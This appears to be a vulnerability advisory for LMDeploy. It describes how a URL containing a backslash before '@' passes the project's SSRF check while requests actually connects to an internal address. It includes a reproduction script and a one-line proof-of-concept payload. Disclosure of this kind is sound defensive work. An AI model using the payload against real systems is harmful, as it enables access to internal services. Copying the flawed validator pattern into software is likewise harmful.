CVE-2026-123818: LMDeploy has an SSRF bypass

Summary The URL checking logic in lmdeploy has a logical flaw that could be bypassed by attackers, leading to SSRF attacks.

Details The current lmdeploy project uses issafeurl to validate the input URL. The main logic is to perform security checks on the host portion of the URL extracted by urlparse to prevent SSRF attacks. <img width="943" height="836" alt="QQ20260416-203956-16-1" src="https://github.com/user-attachments/assets/042faad1-7458-444a-bbc9-525c772b0a4d" /> However, there are indeed differences in parsing between urlparse and the library that actually sends the request. Currently, almost all application scenarios in this project involve first using issafeurl for URL validation, and then using requests.Session().get to send the request. <img width="1086" height="576" alt="QQ20260416-204053-16-2" src="https://github.com/user-attachments/assets/7ffb8a69-b155-483a-90be-016c53e6387a" /> The core issue: urlparse() and requests disagree on which host a URL like http://127.0.0.1:6666\@1.1.1.1 points to:

- urlparse() treats \ as a regular character and @ as the userinfo-host delimiter, so it extracts hostname as 1.1.1.1 (public) - requests treats \ as a path character, connecting to 127.0.0.1 (internal)

Below is a test code I wrote following the code. from urllib.parse import urlparse import ipaddress import socket import requests

def issafeurl(url: str) -> tuple[bool, str]: """Check if the URL is safe to fetch (not internal/private).""" try: parsed = urlparse(url) if parsed.scheme not in ("http", "https"): return False, f"Unsupported scheme: {parsed.scheme}"

hostname = parsed.hostname if not hostname: return False, "Could not parse hostname from URL"

# check all IPs (IPv4 + IPv6) using getaddrinfo try: infos = socket.getaddrinfo(hostname, None) except socket.gaierror: return False, "Hostname resolution failed"

for info in infos: ip = ipaddress.ipaddress(info[4][0]) # block any IP that is not globally routable (covers private, loopback, # link-local, multicast, reserved, unspecified, etc.) if not ip.isglobal: return False, f"Blocked non-global IP detected: {ip}"

return True, "URL is safe" except Exception as e: return False, f"URL validation failed: {str(e)}"

url = "http://127.0.0.1:6666" url = "http://127.0.0.1:6666\@1.1.1.1" issafe, reason = issafeurl(url) if not issafe: raise ValueError(f"URL is blocked for security reasons: {reason}")

fetchtimeout = 10

client = requests.Session() client.maxredirects = 3 response = client.get(url, timeout=fetchtimeout, allowredirects=True) When an attacker uses http://127.0.0.1:6666/, the existing detection logic can detect that this is an internal network address and block it. <img width="1286" height="195" alt="QQ20260416-204234-16-3" src="https://github.com/user-attachments/assets/b921ff01-3b9f-49a5-a410-bd21fe42f9c9" /> However, when an attacker uses http://127.0.0.1:6666\@1.1.1.1, the detection logic resolves the host to 1.1.1.1, which is a public IP address, thus passing the verification. But in the actual request process, this URL is forwarded by requests.get to http://127.0.0.1:6666/, bypassing the detection and achieving an SSRF attack.

<img width="2064" height="154" alt="QQ20260416-204319-16-4" src="https://github.com/user-attachments/assets/5da18f35-f400-46e6-9bf3-1330ba424b02" />

PoC http://127.0.0.1:6666\@1.1.1.1

Impact SSRF